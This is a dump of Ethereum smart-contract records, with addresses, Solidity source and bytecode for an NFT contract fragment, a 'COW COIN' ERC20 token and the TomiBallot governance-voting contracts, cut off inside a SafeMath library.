aafe3b4186f6b6457e090600090a35050565b611b8f828260405180602001604052806000815250611e4c565b5050565b60006001600160a01b0384163b15611c9557604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611bd79033908990889088906004016123af565b602060405180830381600087803b158015611bf157600080fd5b505af1925050508015611c21575060408051601f3d908101601f19168201909252611c1e918101906122ac565b60015b611c7b573d808015611c4f576040519150601f19603f3d011682016040523d82523d6000602084013e611c54565b606091505b508051611c735760405162461bcd60e51b815260040161085d90612434565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611c99565b5060015b949350505050565b6060600f805461076f90612515565b606081611cd45750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611cfe5780611ce881612550565b9150611cf79050600a8361249f565b9150611cd8565b60008167ffffffffffffffff811115611d1957611d196125c1565b6040519080825280601f01601f191660200182016040528015611d43576020820181803683370190505b5090505b8415611c9957611d586001836124d2565b9150611d65600a8661256b565b611d70906030612487565b60f81b818381518110611d8557611d856125ab565b60200101906001600160f81b031916908160001a905350611da7600a8661249f565b9450611d47565b60006001600160a01b038216611e205760405162461bcd60e51b815260206004820152603160248201527f455243373231413a206e756d626572206d696e74656420717565727920666f7260448201527020746865207a65726f206164647265737360781b606482015260840161085d565b506001600160a01b0316600090815260046020526040902054600160801b90046001600160801b031690565b61099583838360016000546001600160a01b038516611eb75760405162461bcd60e51b815260206004820152602160248201527f455243373231413a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b606482015260840161085d565b83611f155760405162461bcd60e51b815260206004820152602860248201527f455243373231413a207175616e74697479206d75737420626520677265617465604482015267072207468616e20360c41b606482015260840161085d565b6001600160a01b03851660008181526004602090815260408083208054600160801b6001600160801b031982166001600160801b039283168c01831690811782900483168c01909216021790558483526003909152812080546001600160e01b031916909217600160a01b4267ffffffffffffffff16021790915581905b8581101561200e5760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4831561200257611fe66000888488611b93565b6120025760405162461bcd60e51b815260040161085d90612434565b60019182019101611f93565b506000556118b6565b82805461202390612515565b90600052602060002090601f016020900481019282612045576000855561208b565b82601f1061205e5782800160ff1982351617855561208b565b8280016001018555821561208b579182015b8281111561208b578235825591602001919060010190612070565b50610d1b9291505b80821115610d1b5760008155600101612093565b80356001600160a01b03811681146120be57600080fd5b919050565b6000602082840312156120d557600080fd5b611436826120a7565b600080604083850312156120f157600080fd5b6120fa836120a7565b9150612108602084016120a7565b90509250929050565b60008060006060848603121561212657600080fd5b61212f846120a7565b925061213d602085016120a7565b9150604084013590509250925092565b6000806000806080858703121561216357600080fd5b61216c856120a7565b935061217a602086016120a7565b925060408501359150606085013567ffffffffffffffff8082111561219e57600080fd5b818701915087601f8301126121b257600080fd5b8135818111156121c4576121c46125c1565b604051601f8201601f19908116603f011681019083821181831017156121ec576121ec6125c1565b816040528281528a602084870101111561220557600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b6000806040838503121561223c57600080fd5b612245836120a7565b91506020830135801515811461225a57600080fd5b809150509250929050565b6000806040838503121561227857600080fd5b612281836120a7565b946020939093013593505050565b6000602082840312156122a157600080fd5b8135611436816125d7565b6000602082840312156122be57600080fd5b8151611436816125d7565b600080602083850312156122dc57600080fd5b823567ffffffffffffffff808211156122f457600080fd5b818501915085601f83011261230857600080fd5b81358181111561231757600080fd5b86602082850101111561232957600080fd5b60209290920196919550909350505050565b60006020828403121561234d57600080fd5b5035919050565b6000815180845261236c8160208601602086016124e9565b601f01601f19169290920160200192915050565b600083516123928184602088016124e9565b8351908301906123a68183602088016124e9565b01949350505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906123e290830184612354565b9695505050505050565b6020815260006114366020830184612354565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526033908201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260408201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b606082015260800190565b6000821982111561249a5761249a61257f565b500190565b6000826124ae576124ae612595565b500490565b60008160001904831182151516156124cd576124cd61257f565b500290565b6000828210156124e4576124e461257f565b500390565b60005b838110156125045781810151838201526020016124ec565b838111156113695750506000910152565b600181811c9082168061252957607f821691505b6020821081141561254a57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156125645761256461257f565b5060010190565b60008261257a5761257a612595565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461119b57600080fdfea2646970667358221220f3ca379fe9ab831262991adfeae79ff36704b1805dbc3328ca387411b656754f64736f6c63430008070033
[ 12, 5, 19 ]
0xf2ef83389eab406dac3457a26894e6091f495ac9
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'Cow Token' 'I LOVE COWS' token contract // // Symbol : COW // Name : COW COIN // Total supply: 21,000,000.000000000000000000 // Decimals : 18 // // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ---------------------------------------------------------------------------- contract Cow is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Cow() public { symbol = "COW"; name = "COW COIN"; decimals = 0; _totalSupply = 21000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc578063313ce567146102755780633eaaf86b146102a457806370a08231146102cd57806379ba50971461031a5780638da5cb5b1461032f57806395d89b4114610384578063a9059cbb14610412578063cae9ca511461046c578063d4ee1d9014610509578063dc39d06d1461055e578063dd62ed3e146105b8578063f2fde38b14610624575b600080fd5b34156100f657600080fd5b6100fe61065d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106fb565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e66107ed565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610838565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ae3565b604051808260ff1660ff16815260200191505060405180910390f35b34156102af57600080fd5b6102b7610af6565b6040518082815260200191505060405180910390f35b34156102d857600080fd5b610304600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610afc565b6040518082815260200191505060405180910390f35b341561032557600080fd5b61032d610b45565b005b341561033a57600080fd5b610342610ce4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561038f57600080fd5b610397610d09565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d75780820151818401526020810190506103bc565b50505050905090810190601f1680156104045780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561041d57600080fd5b610452600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610da7565b604051808215151515815260200191505060405180910390f35b341561047757600080fd5b6104ef600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610f42565b604051808215151515815260200191505060405180910390f35b341561051457600080fd5b61051c61118c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561056957600080fd5b61059e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111b2565b604051808215151515815260200191505060405180910390f35b34156105c357600080fd5b61060e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112fe565b6040518082815260200191505060405180910390f35b341561062f57600080fd5b61065b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611385565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106f35780601f106106c8576101008083540402835291602001916106f3565b820191906000526020600020905b8154815290600101906020018083116106d657829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b600061088c82600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142490919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095e82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142490919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3082600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461144090919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ba157600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d9f5780601f10610d7457610100808354040283529160200191610d9f565b820191906000526020600020905b815481529060010190602001808311610d8257829003601f168201915b505050505081565b6000610dfb82600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142490919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e9082600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461144090919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561111f578082015181840152602081019050611104565b50505050905090810190601f16801561114c5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561116d57600080fd5b6102c65a03f1151561117e57600080fd5b505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561120f57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156112db57600080fd5b6102c65a03f115156112ec57600080fd5b50505060405180519050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113e057600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561143557600080fd5b818303905092915050565b6000818301905082811015151561145657600080fd5b929150505600a165627a7a72305820e55e7a9d135dbaf211809d710f1baba1557c062620409762f22acc8731bf1c820029
[ 2 ]
0xF2efF9f91EcF75d1d7d2a846CA0a3C438A7e450F
// SPDX-License-Identifier: MIT pragma solidity >=0.6.6; import '../interfaces/IERC20.sol'; import '../interfaces/ITomiGovernance.sol'; import '../libraries/SafeMath.sol'; import "hardhat/console.sol"; /** * @title TomiBallot * @dev Implements voting process along with vote delegation */ contract TomiBallot { using SafeMath for uint; struct Voter { uint256 weight; // weight is accumulated by delegation bool voted; // if true, that person already voted address delegate; // person delegated to uint256 vote; // index of the voted proposal } mapping(address => Voter) public voters; mapping(uint256 => uint256) public proposals; address public TOMI; address public governor; address public proposer; uint256 public value; uint256 public endTime; uint256 public executionTime; bool public ended; string public subject; string public content; uint256 private constant NONE = 0; uint256 private constant YES = 1; uint256 private constant NO = 2; uint256 private constant MINIMUM_TOMI_TO_EXEC = 3 * (10 ** 18); uint256 public total; uint256 public createTime; modifier onlyGovernor() { require(msg.sender == governor, 'TomiBallot: FORBIDDEN'); _; } /** * @dev Create a new ballot. */ constructor( address _TOMI, address _proposer, uint256 _value, uint256 _endTime, uint256 _executionTime, address _governor, string memory _subject, string memory _content ) public { TOMI = _TOMI; proposer = _proposer; value = _value; endTime = _endTime; executionTime = _executionTime; governor = _governor; subject = _subject; content = _content; proposals[YES] = 0; proposals[NO] = 0; createTime = block.timestamp; } /** * @dev Give 'voter' the right to vote on this ballot. * @param voter address of voter */ function _giveRightToVote(address voter) private returns (Voter storage) { require(block.timestamp < endTime, 'Ballot is ended'); Voter storage sender = voters[voter]; require(!sender.voted, 'You already voted'); sender.weight += IERC20(governor).balanceOf(voter); require(sender.weight != 0, 'Has no right to vote'); return sender; } function _stakeCollateralToVote(uint256 collateral) private returns (bool) { uint256 collateralRemain = IERC20(governor).balanceOf(msg.sender); uint256 collateralMore = collateral.sub(collateralRemain); require(IERC20(TOMI).allowance(msg.sender, address(this)) >= collateralMore, "TomiBallot:Collateral allowance is not enough to vote!"); IERC20(TOMI).transferFrom(msg.sender, address(this), collateralMore); IERC20(TOMI).approve(governor, collateralMore); bool success = ITomiGovernance(governor).onBehalfDeposit(msg.sender, collateralMore); return success; } /** * @dev Delegate your vote to the voter 'to'. * @param to address to which vote is delegated */ function delegate(address to) public { Voter storage sender = _giveRightToVote(msg.sender); require(to != msg.sender, 'Self-delegation is disallowed'); while (voters[to].delegate != address(0)) { to = voters[to].delegate; // We found a loop in the delegation, not allowed. require(to != msg.sender, 'Found loop in delegation'); } sender.voted = true; sender.delegate = to; Voter storage delegate_ = voters[to]; if (delegate_.voted) { // If the delegate already voted, // directly add to the number of votes proposals[delegate_.vote] += sender.weight; total += msg.sender != proposer ? sender.weight: 0; } else { // If the delegate did not vote yet, // add to her weight. delegate_.weight += sender.weight; total += msg.sender != proposer ? sender.weight: 0; } } // /** // * @dev Give your vote (including votes delegated to you) to proposal 'proposals[proposal].name'. // * @param proposal index of proposal in the proposals array // */ // function vote(uint256 proposal, uint256 collateral) public { // if (collateral > 0) { // require(_stakeCollateralToVote(collateral), "TomiBallot:Fail due to stake TOMI as collateral!"); // } // Voter storage sender = _giveRightToVote(msg.sender); // require(proposal == YES || proposal == NO, 'Only vote 1 or 2'); // sender.voted = true; // sender.vote = proposal; // proposals[proposal] += sender.weight; // if (msg.sender != proposer) { // total += sender.weight; // } // } function voteByGovernor(address user, uint256 proposal) public onlyGovernor { Voter storage sender = _giveRightToVote(user); require(proposal == YES || proposal == NO, 'Only vote 1 or 2'); sender.voted = true; sender.vote = proposal; proposals[proposal] += sender.weight; if (user != proposer) { total += sender.weight; } } /** * @dev Computes the winning proposal taking all previous votes into account. * @return winningProposal_ index of winning proposal in the proposals array */ function winningProposal() public view returns (uint256) { if (proposals[YES] > proposals[NO]) { return YES; } else if (proposals[YES] < proposals[NO]) { return NO; } else { return NONE; } } function result() public view returns (bool) { uint256 winner = winningProposal(); if (winner == YES && total >= MINIMUM_TOMI_TO_EXEC) { return true; } return false; } function end() public onlyGovernor returns (bool) { require(block.timestamp >= executionTime, 'ballot not yet ended'); require(!ended, 'end has already been called'); ended = true; return result(); } function weight(address user) external view returns (uint256) { Voter memory voter = voters[user]; return voter.weight; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.6; import "./TomiBallot.sol"; import "./TomiBallotRevenue.sol"; contract TomiBallotFactory { address public TOMI; event Created(address indexed proposer, address indexed ballotAddr, uint256 createTime); event RevenueCreated(address indexed proposer, address indexed ballotAddr, uint256 createTime); constructor(address _TOMI) public { TOMI = _TOMI; } function create( address _proposer, uint256 _value, uint256 _endTime, uint256 _executionTime, string calldata _subject, string calldata _content ) external returns (address) { require(_value >= 0, 'TomiBallotFactory: INVALID_PARAMTERS'); address ballotAddr = address( new TomiBallot(TOMI, _proposer, _value, _endTime, _executionTime, msg.sender, _subject, _content) ); emit Created(_proposer, ballotAddr, block.timestamp); return ballotAddr; } function createShareRevenue( address _proposer, uint256 _endTime, uint256 _executionTime, string calldata _subject, string calldata _content ) external returns (address) { address ballotAddr = address( new TomiBallotRevenue(TOMI, _proposer, _endTime, _executionTime, msg.sender, _subject, _content) ); emit RevenueCreated(_proposer, ballotAddr, block.timestamp); return ballotAddr; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.6; import '../interfaces/IERC20.sol'; import '../interfaces/ITomiGovernance.sol'; import '../libraries/SafeMath.sol'; /** * @title TomiBallot * @dev Implements voting process along with vote delegation */ contract TomiBallotRevenue { using SafeMath for uint; struct Participator { uint256 weight; // weight is accumulated by delegation bool participated; // if true, that person already voted address delegate; // person delegated to } mapping(address => Participator) public participators; address public TOMI; address public governor; address public proposer; uint256 public endTime; uint256 public executionTime; bool public ended; string public subject; string public content; uint256 public total; uint256 public createTime; modifier onlyGovernor() { require(msg.sender == governor, 'TomiBallot: FORBIDDEN'); _; } /** * @dev Create a new ballot. */ constructor( address _TOMI, address _proposer, uint256 _endTime, uint256 _executionTime, address _governor, string memory _subject, string memory _content ) public { TOMI = _TOMI; proposer = _proposer; endTime = _endTime; executionTime = _executionTime; governor = _governor; subject = _subject; content = _content; createTime = block.timestamp; } /** * @dev Give 'participator' the right to vote on this ballot. * @param participator address of participator */ function _giveRightToJoin(address participator) private returns (Participator storage) { require(block.timestamp < endTime, 'Ballot is ended'); Participator storage sender = participators[participator]; require(!sender.participated, 'You already participate in'); sender.weight += IERC20(governor).balanceOf(participator); require(sender.weight != 0, 'Has no right to participate in'); return sender; } function _stakeCollateralToJoin(uint256 collateral) private returns (bool) { uint256 collateralRemain = IERC20(governor).balanceOf(msg.sender); uint256 collateralMore = collateral.sub(collateralRemain); require(IERC20(TOMI).allowance(msg.sender, address(this)) >= collateralMore, "TomiBallot:Collateral allowance is not enough to vote!"); IERC20(TOMI).transferFrom(msg.sender, address(this), collateralMore); IERC20(TOMI).approve(governor, collateralMore); bool success = ITomiGovernance(governor).onBehalfDeposit(msg.sender, collateralMore); return success; } /** * @dev Delegate your vote to the voter 'to'. * @param to address to which vote is delegated */ function delegate(address to) public { Participator storage sender = _giveRightToJoin(msg.sender); require(to != msg.sender, 'Self-delegation is disallowed'); while (participators[to].delegate != address(0)) { to = participators[to].delegate; // We found a loop in the delegation, not allowed. require(to != msg.sender, 'Found loop in delegation'); } sender.participated = true; sender.delegate = to; Participator storage delegate_ = participators[to]; if (delegate_.participated) { // If the delegate already voted, // directly add to the number of votes total += msg.sender != proposer ? sender.weight: 0; } else { // If the delegate did not vote yet, // add to her weight. delegate_.weight += sender.weight; total += msg.sender != proposer ? sender.weight: 0; } } // /** // * @dev Give your vote (including votes delegated to you) to proposal 'proposals[proposal].name'. // */ // function participate(uint256 collateral) public { // if (collateral > 0) { // require(_stakeCollateralToJoin(collateral), "TomiBallotRevenue:Fail due to stake TOMI as collateral!"); // } // Participator storage sender = _giveRightToJoin(msg.sender); // sender.participated = true; // if (msg.sender != proposer) { // total += sender.weight; // } // } function participateByGovernor(address user) public onlyGovernor { Participator storage sender = _giveRightToJoin(user); sender.participated = true; if (user != proposer) { total += sender.weight; } } function end() public onlyGovernor returns (bool) { require(block.timestamp >= executionTime, 'ballot not yet ended'); require(!ended, 'end has already been called'); ended = true; return ended; } function weight(address user) external view returns (uint256) { Participator memory participator = participators[user]; return participator.weight; } } pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } pragma solidity >=0.5.0; interface ITomiGovernance { function addPair(address _tokenA, address _tokenB) external returns (bool); function addReward(uint _value) external returns (bool); function deposit(uint _amount) external returns (bool); function onBehalfDeposit(address _user, uint _amount) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the 